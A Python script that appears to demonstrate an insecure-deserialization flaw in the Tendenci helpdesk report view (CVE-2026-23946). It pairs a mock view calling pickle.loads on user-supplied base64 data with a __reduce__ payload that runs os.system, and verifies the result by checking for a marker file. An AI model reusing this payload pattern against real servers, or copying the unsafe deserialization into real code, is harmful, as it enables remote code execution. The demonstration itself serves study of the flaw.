Vulnerable code sample

import pickle
import os
import base64

# This code represents the logic that would be present in the Tendenci
# application before the fix for CVE-2026-23946.
# It simulates a Django-like environment with a mock request and user object.

# In a real Django application, this might be a more complex user model.
# For this demonstration, a simple class is sufficient to check for staff status.
class MockUser:
    """Simulates a user object to check for authentication and staff permissions."""
    def __init__(self, is_authenticated, is_staff):
        self.is_authenticated = is_authenticated
        self.is_staff = is_staff

# The attacker crafts a malicious object that will execute a command
# upon deserialization via its __reduce__ method.
class RemoteCodeExecutor:
    """A malicious class designed to execute a command when unpickled."""
    def __reduce__(self):
        # The __reduce__ method is called during pickling/unpickling.
        # It returns a callable (os.system) and its arguments.
        # This will execute 'touch /tmp/pwned' on the server.
        command = "touch /tmp/pwned_by_cve"
        return (os.system, (command,))

# This function simulates the vulnerable 'run_report' view from the
# 'helpdesk/reports/' endpoint in Tendenci.
def run_report(request, user):
    """
    Simulates the vulnerable run_report function which uses pickle.loads()
    on user-provided data, leading to RCE.
    """
    # 1. Check for permissions. The CVE specifies the vulnerability is
    #    accessible to authenticated staff members.
    if not (user.is_authenticated and user.is_staff):
        print("Permission Denied: User is not an authenticated staff member.")
        return

    print("Permission Granted. Attempting to process report...")

    # 2. Retrieve user-controlled data. In the real application, this would
    #    come from a POST request parameter, e.g., request.POST.get('report_data').
    #    The data is expected to be a base64-encoded pickle string.
    encoded_report_data = request.get('POST', {}).get('report_data')

    if encoded_report_data:
        try:
            # 3. THE VULNERABILITY:
            #    The application decodes the base64 data and then passes the
            #    result directly into pickle.loads(). Deserializing untrusted
            #    data with pickle is extremely dangerous and allows for
            #    arbitrary code execution.
            pickled_data = base64.b64decode(encoded_report_data)
            report_results = pickle.loads(pickled_data)

            # For a non-malicious payload, the application would continue
            # to process 'report_results'. For our malicious payload, the
            # code execution has already happened during pickle.loads().
            print("Report data deserialized successfully.")

        except Exception as e:
            print(f"An error occurred during deserialization: {e}")
    else:
        print("No 'report_data' found in the request.")


if __name__ == '__main__':
    # --- DEMONSTRATION OF THE EXPLOIT ---

    # 1. Attacker's setup:
    #    The attacker crafts a malicious payload using the RemoteCodeExecutor class
    #    and serializes it with pickle, then encodes it in base64.
    print("[ATTACKER] Crafting malicious payload...")
    malicious_payload = pickle.dumps(RemoteCodeExecutor())
    encoded_payload = base64.b64encode(malicious_payload)
    print("[ATTACKER] Payload created and base64 encoded.")

    # 2. Simulating the request:
    #    The attacker, as a logged-in staff user, sends a request to the
    #    vulnerable 'run_report' endpoint with the malicious payload.
    print("\n[SERVER] Simulating request from an authenticated staff user...")
    staff_user = MockUser(is_authenticated=True, is_staff=True)
    mock_request = {
        'POST': {
            'report_data': encoded_payload
        }
    }

    # Clean up any previous exploit file before running the test
    if os.path.exists("/tmp/pwned_by_cve"):
        os.remove("/tmp/pwned_by_cve")

    print("[SERVER] File '/tmp/pwned_by_cve' exists:", os.path.exists("/tmp/pwned_by_cve"))
    
    # 3. Triggering the vulnerability:
    #    The server-side code calls the vulnerable function.
    print("[SERVER] Calling the vulnerable 'run_report' function...")
    run_report(mock_request, staff_user)

    # 4. Verifying the exploit:
    #    Check if the malicious payload was successful by seeing if the file was created.
    print("\n[VERIFICATION] Checking for evidence of code execution...")
    if os.path.exists("/tmp/pwned_by_cve"):
        print("[SUCCESS] The file '/tmp/pwned_by_cve' was created. The RCE exploit was successful.")
        os.remove("/tmp/pwned_by_cve") # Clean up
    else:
        print("[FAILURE] The exploit did not succeed. The file was not created.")